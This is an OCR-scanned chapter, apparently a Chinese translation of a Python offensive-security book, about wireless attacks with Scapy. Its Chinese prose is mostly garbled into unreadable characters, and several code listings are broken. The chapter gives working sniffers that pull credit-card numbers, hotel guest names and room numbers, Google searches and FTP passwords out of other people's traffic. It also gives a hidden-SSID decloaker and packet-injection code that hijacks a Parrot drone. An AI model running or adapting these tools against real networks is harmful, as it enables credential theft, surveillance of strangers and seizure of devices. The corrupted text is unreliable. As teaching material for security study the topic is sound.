FEEFMEAIFERIRIGAIR,

—SEEZEETRANT | Ed

Parker

BT : TEREFKA

2007 £ 5 B , EERENSIEE T —B KBS Max Ray Butler , tB#fALAKA.
Mr. Butler BII— M RULEE 7T L ARIEHARKFER. ERMEEFKE
XEFANGEERY ? IRERRINZERI o M S E AR BB R MRS AR IKPER
NAEEZ—. BERRSHERBERREMAE | AEERAATIERNREI=E



BIETIMNA A BRITTEENRRIEN , LUGRZEARRMAGR. REE, &
NERDEXMBE N BHFIERMY". XEFREAERRAY , BT
LARBAERY Python BIASKHVTIXFINE. ITEAN FEETEISERIRY , FAITLIA
AF 25 ITRIBIRRERRIKFER | BRAEFHAZAT , FA MR INRE
IREIEH,

RERINTEIERIE

ATEMNEDP , BIERSBERIRSEMEREFH &1X 802.11 #iEM. F
(i1EERR—ME#R Hi-Gain USB oM H eaFIM LS B ES R AIFEFINIE A
BERIA, 1E BackTrack5 YERIAM-RIKSNAOIF AR N BZER FARIXIRIREL
B, I, EXREE—MMNBREER | 8EELERA ITIIRINERRE.

A8 Scapy MistifsR T LML

BTEM-RIREBRRIWEL , FfiEMA aircrack-ng TEEM |, & iwconfig #p
SHIHBEAINTLE LGRS, TR, HiiNzE1745< airmon-ng start
wlan0 FFERFMET. XERIEE—NTEY mon0 Ehces.

attacker# iwconfig wlan0

wlanO0 IEEE 802.11bgn ESSID:off/any
Mode:Managed Access Point: Not-Associated
Retry long limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:on

attacker# airmon-ng start wlan0

Interface Chipset Driver

wlan0 Ralink RT2870/3070 rt2800usb - [phy0]

(monitor mode enabled on mon0)



LEFRAIPRIEN | BT AR TSR BN RIRENRREIZE.
IR, BINREFHCENGEED mon0 BIF(IAY conf.iface, WIFEIE/NEUE
8, FIAKIZT ptkPrint()EREL, WNREUEE RS 802.11 FmiR , 802.11 AT
TCP #uEEEL DNS REREFSFHIEI—NER.

from scapy.all import *

def pktPrint(pkt):
if pkt.haslayer(Dotl11Beacon):
print('[+] Detected 802.11 Beacon Frame')
elif pkt.haslayer(Dot11ProbeReq):
print('[+] Detected 802.11 Probe Request Frame')
elif pkt.haslayer(TCP):
print(‘'[+] Detected a TCP Packet')
elif pkt.haslayer(DNS):
print('[+] Detected a DNS Packet')
conf.iface = 'mon0’
sniff(prn=pktPrint)

BITHIAE  MNTUER—2RE. KMAYRERRE 802.11 FHMEEAIEHRN
5K , 802.11 I57~IURE , FIDNS , TCP #iEE. MiX—R EEAIERIFEIMY
M-=IIET.

I Python TS

EAER(MEEE—LIEFIE. A THRE Python BUEEFHIA , FA1EFIA
Python 4§xEZ! LInux Bluez B9z FBFER# %0 obexftp API, {#F3 apt-get
install k&2,

attacker# sudo apt-get install python-bluez bluetooth python-
obexftp

Reading package lists... Done
Building dependency tree
Reading state information... Done

<..SNIPPED..>



Unpacking bluetooth (from .../bluetooth_4.60-Oubuntu8_all.deb)
Selecting previously deselected package python-bluez.

Unpacking python-bluez (from .../python-bluez_0.18-1_amd64.deb)
Setting up bluetooth (4.60-Oubuntus8) ...

Setting up python-bluez (0.18-1) ...

Processing triggers for python-central .

A, BAIIIREN—NEF RS . B Cambridge Silicon Radio (CSR)itx
FABTE Linux TL{ERYRYF. AETIHRIA , A 1485 SENA Parani
UD100 USB IE5F &R , AT MM ERRARERANIZIZE |, BT

hciconfig BEE @< , EFTENHIEFREHNERER.

attacker# hciconfig

hciO: Type: BR/EDR Bus: USB
BD Address: 00:40:12:01:01:00 ACL MTU: 8192:128
UP RUNNING PSCAN
RX bytes:801 acl:0 sco:0 events:32 errors:0

TX bytes:400 acl:0 sco:0 commands:32 errors:0

EREF |, FNSEMBEEET M. RSERENETPELRS , BEA
18 BackTrack5 rl FE—MMEIR | BIRE— PN EENARIERKIERIGHYE
FERE , BAXNRRE , ROAFRIRIZR S PZE! BackTrack r2,

THNETHREEY. BIBRENARER , BFPIES | mEENEAN,
POATCERE | BIs2BERTRE. BRBEGEEXGITEMEMETHY
ERER.

IR --- TR S I T MILZ AR



BM 2011 & , BFERECLM T DEFCON Z2a—E9 7. Hainy
PARSOTFE P EpHAGHRE |, uhaE EABRIMRIRSS | MR EaRIFFIINE.
LEBAMENENHITRIEE |, ISR EIENESRNARERE L, IFFERH
BAIEIN T — P IENY Peekaboo , B/t BHRENER. REEEERY .,
FRAMBIFAYER 7 BE S EHREERNERN. ETENETTF , ®i1E
I ENESSHEaEBNER.

{5 Python IENIZRIENIRIFEHF

EIRRTEMERIERRER AT , RIEFNERENFRANZREEAY. EN
RIATURM 7 LB E X ATRIFAFERAYTTA. Python 2T X FIENIZRAT
ROtER(re), (IEMIZRATCEIARINIER)

KWEE A LMERENRATCELEEARS1E. A7 EEEAIRIEE |, 21
{FFB=_A{SH-E : Visa, MasterCard, 1 American Express, {SR{FIETRES
X FREEBRIENZFRANEIIR , JLARRISSEM mrY SRR
BORING : http://www.regular-expressions.info/creditcard.html, EEIEBEH
LA 34 8¢ 37 FELH 15 (F. IERIRE— NV NREIGEFRHERHATE
EEEEEEEEEATS. IRE:a  KIIBFIZEREESL  FET
HRENFRIAT, , ERERERRUMLA3 FL |, EHIREE 45E 7, TR
TENIZRIATOILEL 13 AR 15 K,

import re

def findCreditCard(raw):
americaRE= re.findall("3[47][0-9]{13}", raw)
if americaRE:

print("[+] Found American Express Card: "+americaRE[0])

def main():

tests =[]



tests.append('I would like to buy 1337 copies of that dvd')
tests.append('Bill my card: 378282246310005 for \$2600")
for test in tests:

findCreditCard(test)

if __name__ =="__main__":

main()

EITHEAIBNHRR | FNERICIERRIEE T ERRSHE.

attacher$ python americanExpressTest.py

[+] Found American Express Card: 378282246310005

WE , MRIENFIAX Ik E! MasterCards F Visa RIEFARS.

MasterCards BY{EF-~SLA 51 8¢& 55 FFL2E 16 (U#]., Visa BHSFA~SLA4 FF
sk, #B 13 iE#E 16 fE=. 1LEHAAW BIRAINREFKE] MasterCard F
Visa (EfHKS. /& , MasterCard ERREIENFAILES 5 FHEEE 1 5i&
555 14 (2 16 i, Visa IEMIZFRIATIA 4 FELEHEEIRE 12 FLRYEL, KA
RIS 0 5 3 (BCRIBIR 13 EE 16 A2,

def findCreditCard(pkt):
raw = pkt.sprintf('%cRaw.load%")
americaRE = re.findall('3[47][0-9]{13}', raw)
masterRE = re.findall('5[1-5][0-9]{14}', raw)
visaRE = re.findall('4[0-9]{12}(?:[0-9]{3})?', raw)
if americaRE:
print('[+] Found American Express Card: ' + americaRE[0])
if masterRE:
print(‘'[+] Found MasterCard Card: ' + masterRE[0])

if visaRE:



print(‘[+] Found Visa Card: ' + visaRE[0])

ARSI IRRE N TS AR R P I EENRIATC. BICERAMERRES
RIVRERRBR  EAEARTFRIITMEFAERARERNEEE. AT
BAIEFROTLEURE |, Befi)6ER Scapy B, =, BAMHEA sniff OREL ,
sniff QREUGB— NI RIEIREIENSEUELS findCreditCard )R EL, AZ!
25 13H3 Python 15 , BAIEUE T —MABS A RERRVIMER.

re
optparse
scapy.all

findCreditCard(pkt):
raw = pkt.sprintf('%oRaw.load%")
americaRE = re.findall('3[47][0-9]{13}', raw)
masterRE = re.findall('5[1-5][0-9]{14}", raw)
visaRE = re.findall('4[0-9]{12}(?:[0-9]{3})?", raw)
americaRE:
('[+] Found American Express Card: ' + americaRE[0])
masterRE:
('[*] Found MasterCard Card: ' + masterRE[0])
visaRE:
('[*] Found Visa Card: ' + visaRE[0])

main():
parser = optparse.OptionParser('usage % prog -i<interface>')
parser.add option('-1' ='Interface' ='string' ='specify
interface to listen on')
(options, args) = parser.parse_args()
options.interface ==
parser.usage

(0)

conf.iface = options.interface

('[*] Starting Credit Card Sniffer.")



sniff( ='tcp’ =findCreditCard

(0)
__name ==
main()

' '

__main__":

B, B TEEBHITARGEAREYE. FLLE , XTERITTERE)N
iR T 20 &, (BRHBBIRRIREIXMEHEN LRI RRE—IRABRIERA
S, B9, HMGEF—TRENESR | BIIBBE— I RINENE
LB FEIRANER.

IRERIRIER A

REHIRIERHATIAENE, BEXEMNERENEBRE EAEIlZR
B INEEEl, ATEIRIE , K17 Python RISEEESSERI X/ MER . SHK
MR ATERHEE,

R BRE—FIRHELERRKESEA. SERRITENELZE | KT
MR EA— T MREREHX ML, WETIEESHRATEENERS | 17
HILERE  BATNRRE AT T — T RIIER HTTP MEIREZIIRS 252N
IE cookie, #REIXMIEHT HTTP 183 , B 7y —EAERAR. HESE—
NFATER
PROVIDED_LAST_NAME=0OCONNOR&PROVIDED_ROOM_NUMBER=1337,

B (R IRIEIRS SR B SRAERMBEASHE. KRSmAI1ERPIXE
S HAINISERREERAAISXEERIIER. MTXMIRRTERE | EFE
MEMBEESHKAXRE  RERSEEEBALG , ATLURTLURZERSER
BEREEREBEBNINFAAGES.

POST /common_ip_cgi/hn_seachange.cgi HTTP/1.1
Host: 10.10.13.37
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0OS X 10_7_1)

AppleWebKit/534.48.3 (KHTML, like Gecko) Version/5.1
Safari/534.48.3



Content-Length: 128

Accept: text/html,application/xhtml+xml,application/
xml;q=0.9,*/*:q=0.8

Origin:http://10.10.10.1

DNT: 1
Referer:http://10.10.10.1/common_ip_cgi/hn_seachange.cgi
Content-Type: application/x-www-form-urlencoded
Accept-Language: en-us

Accept-Encoding: gzip, deflate

Connection: keep-alive

SESSION_ID= deadbeef123456789abcdef1234567890 &RETURN_

MODE=4&VALIDATION_FLAG=1&PROVIDED_LAST_NAME=0OCONN
OR&PROVIDED_ROOM_

NUMBER=1337

A JMIERTLAGER Python NBIERFIRERZAEE. FRE—MREHRAY
Python IR#R=8. Bt , A VEHIARAAREREO | #5  E1IA
sniff O BREIRIRIEITRE |, TR MNREUTIE , Rl TCP mEFIREE , )
BRREE S findGuest(),

conf.iface = "mon0"
try:
print "[*] Starting Hotel Guest Sniffer."
sniff(filter="tcp", prn=findGuest, store=0)
except KeyboardInterrupt:
exit(0)
= findGuest BREIEWEIEUES , BRIAEIIIEE SR HARAG

2. BREEHIFRINEIRRIZE raw B |, AR IR IENZRIATURARNT
HRMEARBESHE., EEFAINENRIETZZ(EALL LAST_NAME Fia



=R |, FAI— MRS, [ENREAR A T BEESHBEFREELL
ROOM_NUMBER FFLH9=F5ER,

def findGuest(pkt):
raw = pkt.sprintf("%Raw.load%")
name=re.findall("(?1)LAST_NAME=(.*)&",raw)
room=re.findall("(?i)ROOM_NUMBER=(.*)"",raw)
if name:

print("[+] Found Hotel Guest "+str(name[0]) + ", Room #" +
str(room[0]))

BRENRIE—E , (IMEE— T E IR AR M EEE X NEE
TS FNEFPREEFIIEES. B A T7TERIFRRENSITEIEEN
881 , EAIFBES A Scapy .

optparse
scapy.all

findGuest(pkt):
raw = pkt.sprintf("%Raw.load%")
name=re.findall("(?1)LAST NAME=(.*)&" raw)
room=re.findall("(?1)ROOM_NUMBER=(.*)"",raw)
name:

("[+] Found Hotel Guest "+str(name[0]) + ", Room #" +
|

|
)

(room|

main():
parser = optparse.OptionParser('usage %prog -i<interface>")
parser.add option('-1' ='interface' ='string' ='specify
interface to listen on')
(options, args) = palse1 palse args()
options.interface =
(parser.usage)




(0)

conf.iface = options.interface

('[*] Starting Hotel Guest Sniffer.")
sniff(filter="tcp', prn=findGuest =0)

(0)
__name ==' main_ "
main()

BITEAIRGEEIRRER | BRI RS R EFAEEE TR AR,

attacker# python hotelSniff.py -i wlan0

[*] Starting Hotel Guest Sniffer.

[+] Found Hotel Guest MOORE, Room #1337

[+] Found Hotel Guest VASKOVICH, Room #1984
[+] Found Hotel Guest BAGGETT, Room #43434343

HAMZE BBHGER , KETABRESER T —2M , BxRAER. £ F—
T, B2 RBAIRIRTCELMBAIEES] |, BITHFT Google 123,

{912 Google TEETiIRE

(ROl 88 FRE] Google 25 |ZRAHZITEINAIR R | BIREERESRNA.
BURATFRIEZEMEHNERE | (RETNISEESRIE— HTTP GET &K/ 1 FERE
MA—NEFENERIESRS., 1B IR Google B9 HTTP GET i3k , HFKIEER
FfFER"what is the meaning of life?"lt , i&5iFR | BRI g=BHNFRFETFH |
RIELAREEER pq=ERELARIRIEZ.

GET



/s?hl=en&cp=27&gs_id=58&xhr=t&q=what%20is%20the%20me
aning%200f%20life&pq=the+number+42&<..SNIPPED..>
HTTP/1.1

Host: www.google.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2)
AppleWebKit/534.51.22 (KHTML, like Gecko) Version/5.1.1
Safari/534.51.22

<..SNIPPED..>

q= Query, what was typed in the search box

pq= Previous query, the query prior to the current search

hi= Language, default en[glish] defaults, but try xx-hacker
for fun

as_epq= Exact phrase

as_filetype= File format, restrict to a specific file type such as .zip

as_sitesearch= Restrict to a specific site such as www.2600.com

A7 Google RS [ZRIANRETF | ILEAMREEE— N TTLEIREIRRS | 5L
B TENFRN =E BRI IR ZRAVRAS, IX—IRIA ISR findGoogle()4k
HIRRRVEUER. XERH(NSEHEIEERNABEIEER] payload TE |, INRIX
/" payload &% HTTP GET F{I#eetE—MNENZRATHEIZR Google A
RFTER, REEIIGBRERFRE , HTTP URL AEER S ATHBFFA.
AT EGEXANERE , A AT RS IRIB =B +8E %20 , fTEURL ., AT
IEFBRYEEIRIX SR |, Bl IS T+ BE %20 AT,

def findGoogle(pkt):
if pkt.haslayer(Raw):
payload = pkt.getlayer(Raw).load
if 'GET' in payload:
if 'google’ in payload:



r = re.findall(r'(?i)\&q=(.*?)\&', payload)
ifr:
search = r[0].split('&"')[0]

search = search.replace('q="', ").replace('+’,
").replace('%20', ' ")

print('[+] Searched For: ' + search)

A IEEA Google IRIRSFHIHAIE—IEE , FAIMAETLIEEMHERIR

Google A, EE= . FAJHAERILAER sniff()REUTERE TCP 80 imAY
mE. B Google IRELAIXTE 443 ik HTTPS HURERIEE S | X NRE
BRERN  RARMEZR. ELEAIRAIK 80 i[O/ HTTP RE.

optparse
scapy.all

findGoogle(pkt):
pkt.haslayer(Raw):
payload = pkt.getlayer(Raw).load
'GET' in payload:
'google' in payload:
r = re.findall(r'(?1)\&q=(.*?)\&', payload)
r:
search = r[0].split('&")[0]

search = search.replace('q=', ").replace('+", '
".replace('%20'", ' ")
('[] Searched For: ' + search)

main():
parser = optparse.OptionParser('usage %prog -1 <interface>'")
parser.add option('-1' ='interface' ='string' ='specify
interface to listen on')
(options, args) = palse1 palse args()
options.interface ==
parser.usage

(0)




conf.iface = options.interface
('[*] Starting Google Sniffer.")
sniff( ='tcp port 80" =findGoogle)

(0)
__name ==' main_ "
main()

TEERRINEZERINEEZETIS THRIIRMAE |, FAITLIERRIARERRS.
=&l Google MERATREAERSANME , T , ZEAPISEINFEREMEILE
B—MBRNZERE.

attacker# python googleSniff.py -i mon0O
[*] Starting Google Sniffer.

[+]W

[+] What

[+] What is

[+] What is the mean

[+] What is the meaning of life?

Google URL =&

Google URL #2ZRSEURM TIFSHINMERY

TIMSE |, XESEIEIREY Google RIDRERERA. BITHNEN , &
BIEIE |, B | VR B R AR R g A IR T RYuS AR LAZRINZIFA ]
RICRES., FZ(ER1EEF : http://www.google.com/cse/docs/resultsxml.html



B3 FTP JAIE

FTP thN RS AN R A RFIPAFIALE. BERUSIATE=EIX (A3
SEETXMMANNEZNNEG, & TEA tcpdump ERFA HE=EBIBFEIE.
FTP W@ BB SN ATHRIEIE

attacker# tcpdump -A -i mon0O 'tcp port 21'
E..(..@.@.quee_reerereen-R.=. | .P.O.....

20:54:58.388129 IP 192.168.95.128.42653 > 192.168.211.1.ftp:
Flags [P.], seq 1:17, ack 63, win 14600, length 16
E..8..0.@.9..._....c.s....R.=.| .P.9.....USER root

20:54:58.388933 IP 192.168.95.128.42653 > 192.168.211.1.ftp:
Flags [.], ack 112, win 14600, length 0

E..(-.@.@.quee_srereereen:R.=. | .P.O.....

20:55:00.732327 IP 192.168.95.128.42653 > 192.168.211.1.ftp:
Flags [P.], seq 17:33, ack 112, win 14600, length 16
E..8..@.@.¢..._:eesrenseeR. =1 | .P.9.....PASS secret

NATEEXWEI , BONSHAMTHNFHR, F—PNFHEES USER
EMERPE  FNFREHE PASS IZEFMER. A E tepdump BIEHE
PEEIXEEUE, HIERITRANENRARRIBRXLES. KIS
EEAPE IP #eht, FARNEIRSSEERY IP Bt FMNZREE TN EN.

from scapy.all import *

def ftpSniff(pkt):
dest = pkt.getlayer(IP).dst
raw = pkt.sprintf('”oRaw.load%")
user = re.findall('(?1)USER (.*)', raw)



pswd = re.findall('(?i)PASS (.*)', raw)

if user:
print(‘'[*] Detected FTP Login to ' + str(dest))
print(‘[+] User account: ' + str(user[0]))

elif pswd:
print(‘[+] Password: ' + str(pswd[0]))

BERTERMIARIE—E , FRIRER 21 iwmORY TCPiRtE, BAIERII—Lik
DURIGRIR RS (EARIMSIERCRR. I TX MR RA =8 FTP EFHTILE.

optparse
scapy.all

ftpSniff(pkt):
dest = pkt.getlayer(IP).dst
raw = pkt.sprintf('%cRaw.load%")
user = re.findall('(?1)USER (.*)', raw)
pswd = re.findall('(?1)PASS (.*)', raw)
user:
('[*] Detected FTP Login to ' + str(dest))
('[*] User account: ' + str(user[0]))
pswd:
('[+] Password: ' + str(pswd[0]))

main():
parser = optparse.OptionParser('usage %prog -i<interface>')
parser.add_option('-1' ='interface’' ='string’ ='specify
interface to listen on')
(options, args) = palsel palse args()
options.interface ==
parser.usage

(0)

conf.iface = options.interface



sniff( ='tcp port 21" =ftpSnifY)

(0)

__name ==
main()

' '

__main__":

BITRAIRMA |, B MENZI— P ERERY FTP iRSS=8 | AR RFPINEIENE
PLAYARSSRE. FeANIIER—1DT 30 17 Python {UBRY FTP FIEIRIRES, =
FRGEBA LT HRHRIMEI89561E , T, BANSGERTLEITR
WAFRGSEICE.

attacker:~# python ftp-sniff.py -i mon0
[*] Detected FTP Login to 192.168.211.1
[+] User account: root\r\n

[+] Password: secret\r\n

(RAYZEIC A XD ? Python (8

JUFRIBRH T — " ERELERE | AT UEEIMHRXA T BEETE
K%, RN T LMK EANZEE. FRATEREIHERERER
ERIFE R T —EEBNAA , EEEERNEINEFindEBIEENS
TR, —MEFRINZEENIMNSIZIES |, tRRISBARERIUZE] LAX_Wireless F1
Hooters_WiFi , FFF 7 — N Et5€ |, (8347 Hooters Restaurant fUE BB 25 #
. fRIRT  WEANBEXLEER?

150 802.11 HRiER

AT RE—ADTERERE | (REBRFFEBARS— I ERiNEsIR B
SPEFERICRIAIIERIT T EMESEIR. SIRAIEEIRTTLEE MESTTiE |
RN &I 802.11 FRIEKERFIRPRIE— - RIZZFR,



LEFARIERVR S — Ma 802.11 FZKIERAITH., EXMIF , BefiIFRIF
HA L IREIR RN sniffProbe(). iER , Bl MGEEE 802.11 FRUIER
Bt NE R RS haslayer(Dotl1ProbeReq), ANRIENE SHHAIMILZIEATRIK
ISHIENMtEf = L.

from scapy.all import *

interface = 'mon0'

probeReqs =[]

def sniffProbe(p):
if p.haslayer(Dot11ProbeReq):
netName = p.getlayer(Dot11ProbeReq).info
if netName not in probeReqs:
probeReqs.append(netName)
print('[+] Detected New Probe Request: ' + netName)

shiff(iface=interface, prn=sniffProbe)

IER T LA TRARMAE B R EMHIEKEE FRIRUER, XATF
HAERIZFHATEIEMNSEYIE.

attacker:~# python sniffProbes.py

[+] Detected New Probe Request: LAX_Wireless

[+] Detected New Probe Request: Hooters_WiFi

[+] Detected New Probe Request: Phase_2_Consulting

[+] Detected New Probe Request: McDougall_Pizza

EFIBSREERY 802.11 RILEIRIR



BARARSEME AT IRIMEZFR(SSID) , —LTLe M8 A2 EFRSRAY
SSID B LEAthfi IR ZFRBIAI. 802.11 #RRIIPIIFELERE G S MEETR.
EREAIRET | MARIIX N FRATH |, fall—MeERNSBIEEAE S
19, EERFENREHEREITHFERAY 802.11 tuRML, £ FENFIF+ , HiTE
SHIXEMFFTENHIX AR RAY MAC HBiE,

def sniffDot11(p):
if p.haslayer(Dot11Beacon):
if p.getlayer(Dotl11Beacon).info == "
addr2 = p.getlayer(Dotl1).addr2
if addr2 not in hiddenNets:
print(‘[-] Detected Hidden SSID: with MAC:' + addr2)

iZBBEERY 802.11 M4

SREARBHEFRENONSG , e REBFRERUmAS, —MRUERIE
BREEEFRAAEAHRIER. AT EEENET , IV REF—MR
IR RZPCERER (1] 802.11 #RIRMARAY MAC Htitit, B TERNINEEINZIERA]
B9 Python BIA—#SEFE. %% . hiddenNets , IRIFE 1B ZIRIPEREIMLREY
MAC ititiE, 5= , unhiddenNets , IBEREEATHHIMNG , SJICNEI—NEFR
19 802.11 #RIRMARY , FAVEMREIFAIAUBSTIMLRERH., HFANCE
802.11 IRMNANIAY , FAVEHENNLEZFR. FAITLMEE hiddenNets #1485
ERTEEIXE(E , #R unhiddenNets A EIXLEE, WMRIBERESE , i1
AT S Z2IR AT EER L.

Sys
scapy.all

interface = 'mon0'
hiddenNets = []
unhiddenNets = []




sniffDot11(p):
p.haslayer(Dot1 1ProbeResp):
addr2 = p.getlayer(Dot11).addr2
(addr2 in hiddenNets) & (addr2 unhiddenNets):
netName = p.getlayer(Dotl 1 ProbeResp).info
'[+] Decloaked Hidden SSID: ' + netName + ' for MAC:

'+ addr2
unhiddenNets.append(addr2)
p.haslayer(Dot11Beacon):
p.getlayer(Dot11Beacon).info ==":
addr2 = p.getlayer(Dot11).addr2
addr2 hiddenNets:
'[-] Detected Hidden SSID: ' + 'with MAC:' + addr2
hiddenNets.append(addr2)
sniff( =interface =sniffDot11)

BATEAINEA , EIERRIRA T —EiimaIR B I ATFRIMES | A2 30 174
BB, S AXET | BT, BANSERIRFURAITEIGE | MHtiARmE
MEEIEREEETAN.

attacker:~# python sniffHidden.py
[-] Detected Hidden SSID with MAC: 00:DE:AD:BE:EF:01
[+] Decloaked Hidden SSID: Secret-Net for MAC: 00:DE:AD:BE:EF:01

A3 Python $=EFNEEIRTT AN

£2009 FHEX , EFEEFUTEEI—LABINE. SEFWERELER

oA | EFERIMBNINER LEEENTATIL. EICAEREFIE
AVBFRELEERF 78BN, SEH—PHREE | BRARKIRELEE
FRME 26 SETThYEXMH SkyGrabber =8, T TTAM. EXHEINRINZE , =FRY



AR AZZIEEH R ORISR B II%. SkyGrabber ER{4E R XK=
HANMEZENEEENEIE. EEAFZEHAEEM T LIZE#EET AN
WHEENTANER TEENZEEZER |, FILULERIIER—ERNEENER
. Parrot Ar.Drone R ANE— 1 RIFHNER , — M FHRAIET Linux B9
oA . BT iPhone/Ipad N FERFEIIFRINZERY WIFL I=HIFE AN, N1§
300 5T, — PSR EBIFETTLUM http://ardrone.parrot.com/MEFS AL, B
BME&MENTER |, HITLAEHIERAINBIRT AL,

EEGRE |, TR

WEBA 170 T R AN iPhone d{ANEHl. B EEENRERIRZUE | Fii)
FZJTo AN iPhone Z [BIUN{ANIEIT WIFI PLEFESTIERE. FIERANAIEZ
&, A& MAC iERE—(RIFEENTEH. RBEXIEY iPhone 4 8E
WERAMEIEIES. ATEEXAN , RIIFEZIESHIMMY , AREHE
EIX LIRS

Bt BIIBERNNELEE S ENRIEXRITRE | — MRS
tcpdump ERRERB T ANLF iPhone B9 UDP 5555 imH. BUERDRE |, il

ALUENXRESE T XAV N, BABGAENEEEREE—FR. 8k,
SHnESIUTEMETIZM iPhone 1§ UDP 5556 i[04 5%,

attacker# airmon-ng start wlan0

Interface Chipset Driver

wlan0 Ralink RT2870/3070 rt2800usb - [phy0]
(monitor mode enabled on mon0)

attacker# tcpdump-nn-i mon0

16:03:38.812521 54.0 Mb/s 2437 MHz 11g -59dB signal antenna 1
[bit 14]

IP 192.168.1.2.5556 > 192.168.1.1.5556: UDP, length 106

16:03:38.839881 54.0 Mb/s 2437 MHz 11g -57dB signal antenna 1
[bit 14]

IP 192.168.1.2.5556 > 192.168.1.1.5556: UDP, length 64



16:03:38.840414 54.0 Mb/s 2437 MHz 11g -53dB signal antenna 1
[bit 14]

IP 192.168.1.1.5555 > 192.168.1.2.5555: UDP, length 25824

A0iE iPhone 181 UDP 5556 i AIXIELIEHITTAN , BABEL— T
Python FIZASKAETSMaE<. BT , FIRIBIAFTENRIGRY UDP 5556 RIS
A&,

from scapy.all import *

NAVPORT = 5556
def printPkt(pkt):
if pkt.haslayer(UDP) and pkt.getlayer(UDP).dport == NAVPORT:
raw = pkt.sprintf('”ocRaw.load%")
print raw
conf.iface = 'mon0'

sniff(prn=printPkt)

BTN RERANIBRLXANAESN. HNEZWNERINEELR
AT*CMD*=SEQUENCE_NUMBER, VALUE, [VALUE{3}]. iCRRKATETE |
RIVFRT=MGRMIES | RELHRNERFFA, $%
AT*REF=$SEQ,

290717696\r BRIZFTAZFPEER GRS, HX , a5
AT*REF=$SEQ,290717952\r KiXZ— RS IEERIES | ARSI, a5
AT*REF=SEQ, 290718208\r KIXLETAN—NME ¥I5<L. & BAITLAA®
< AT*PCMD=SEQ, Left_Right_Tilt, Front_Back_Tilt,
Vertical_Speed,Angular_Speed\r SRIZHITAMN. BATIIERIERBERHESKI
EEAINT .

attacker# python uav-sniff.py



'AT*REF=11543,290718208\r"
'AT*PCMD=11542,1,-1364309249,988654145,1065353216,0\r"
'AT*REF=11543,290718208\r"

'AT*PCMD=11544,1,-
1358634437,993342234,1065353216,0\rAT*PCMD=11545,1

1355121202,998132864,1065353216,0\r'
'AT*REF=11546,290718208\r"
<..SNIPPED..>

FA JFFHAEIE— Python 35 interceptThread , IXPMSERATHEFEAIBIERIF
B, XEFRESENABIRNEESRE | BERNLTANFSS | fikE—
HRTANRERESWEGRNRE. YBtXEFERE | EIMERIER IR
£ run(OF0 interceptPkt() , run()REBTFFRIRIFILEAY 5556 UDP & , HidAg
interceptPkt()EREY , JI=EHETAVIRE | HREZTHE TR, BENE
BHCRAITANESIREFIHIEFTIS.

class interceptThread(threading.Thread):
def __init__ (self):
threading.Thread.__init__ (self)
self.curPkt = None
self.seq = 0
self.foundUAV = False
def run(self):
sniff(prn=self.interceptPkt, filter="udp port 5556')
def interceptPkt(self, pkt):
if self.foundUAV == False:
print('[*] UAV Found.")
self.foundUAV = True
self.curPkt = pkt



raw = pkt.sprintf('%cRaw.load%")
try:

self.seq = int(raw.split(’,')[0].split('=")[-1]) + 5
except:

self.seq = 0

FA Scapy #I{E 802.11 £z

EKE, BIESWEF— N EERATIESHFIEEES. A, AT IHEIX—
=, BIFELSRINSEMPEH—LHNERNER. RASEEES
RadioTap, 802.11, SNAP, LLC, IP, and UDP 2 , FIIEENS T EFEFIFER,
Scapy XE—EEPBRIFAISIT | Bil40 , & Dotll E , Ffi1FF4A Scapy A5
H4T Is(Dotl11)@< , FMIEBRIFA IR EEHIRFNINEN LIRS PHFER.

attacker# scapy
Welcome to Scapy (2.1.0)
>>>Is(Dot11)

subtype : BitField = (0)

type : BitEnumField = (0)

proto : BitField = (0)

FCfield : FlagsField = (0)

ID : ShortField = (0)

addrl : MACField = ("'00:00:00:00:00:00')

addr2 : Dot11Addr2MACField = ('00:00:00:00:00:00")
addr3 : Dot11Addr3MACField = ('00:00:00:00:00:00")
SC : Dot11SCField = (0)

addr4 : Dot11Addr4MACField = ('00:00:00:00:00:00")



BABRSIEA I R0EEEE , 54 RadioTap, 802.11, SNAP, LLC, IP 1 UDP &
R—EHhY. FR, s —EEF L, ki, IIAREH

IP oI ES. FAIRVAFSOIBEE EREKERNA/N , FfJATLALL Scapy B#pAY
TTEANREUES | B | NTF—EREELE—. §7TXEMREF | i)

MET ARSI ANIKE 7. BIVEHRARZSN dup.py , BEAEEH T
AEHI 802.11 FUEMIHIFER.

from scapy.all import *

def dupRadio(pkt):
rPkt=pkt.getlayer(RadioTap)
version=rPkt.version
pad=rPkt.pad
present=rPkt.present
notdecoded=rPkt.notdecoded

nPkt = RadioTap(version=version, pad=pad, present=present,
notdecoded=notdecoded)

return nPk

def dupDot11(pkt):
dPkt=pkt.getlayer(Dot11)
subtype=dPkt.subtype
Type=dPkt.type
proto=dPkt.proto
FCfield=dPkt.FCfield
ID=dPkt.ID
addrl=dPkt.addrl
addr2=dPkt.addr2
addr3=dPkt.addr3
SC=dPkt.SC



addr4a=dPkt.addr4

nPkt=Dot11(subtype=subtype,type=Type,proto=proto,FCfield=FCfi
eld, ID=ID,addrl=addrl,addr2=addr2,addr3=addr3,SC=SC,addr4=a
ddr4)

return nPkt

def dupSNAP(pkt):
sPkt=pkt.getlayer(SNAP)
oui=sPkt.OUI
code=sPkt.code
nPkt=SNAP(OUI=oui,code=code)

return nPkt

def dupLLC(pkt):
IPkt=pkt.getlayer(LLC)
dsap=IPkt.dsap
ssap=IPkt.ssap
ctri=IPkt.ctrl
nPkt=LLC(dsap=dsap,ssap=ssap,ctri=ctrl)

return nPkt

def dupIP(pkt):
iPkt=pkt.getlayer(IP)
version=iPkt.version
tos=iPkt.tos
ID=iPkt.id
flags=iPkt.flags
ttl=iPkt.ttl
proto=iPkt.proto



src=iPkt.src
dst=iPkt.dst

options=iPkt.options

nPkt=IP(version=version,id=ID,tos=tos,flags=flags,tti=ttl,proto=p
roto,src=src,dst=dst,options=options)

return nPkt

def dupUDP(pkt):
uPkt=pkt.getlayer(UDP)
sport=uPkt.sport
dport=uPkt.dport
nPkt=UDP(sport=sport,dport=dport)

return nPkt

BT RBA MG AR —LHRYTTE2HA interceptThread 3557, 1Y
injectCmd() , XMREEHZRIBFRIR—E | ARRIIFHIESE] UDP E,
EEEHRIEIREZE | Bl sendp()REURIERL.

def injectCmd(self, cmd):
radio = dup.dupRadio(self.curPkt)
dotll = dup.dupDotli(self.curPkt)
snap = dup.dupSNAP(self.curPkt)
lic = dup.dupLLC(self.curPkt)
ip = dup.dupIP(self.curPkt)
udp = dup.dupUDP(self.curPkt)
raw = Raw(load=cmd)
injectPkt = radio / dotll / lic / snap / ip / udp / raw
sendp(injectPkt)



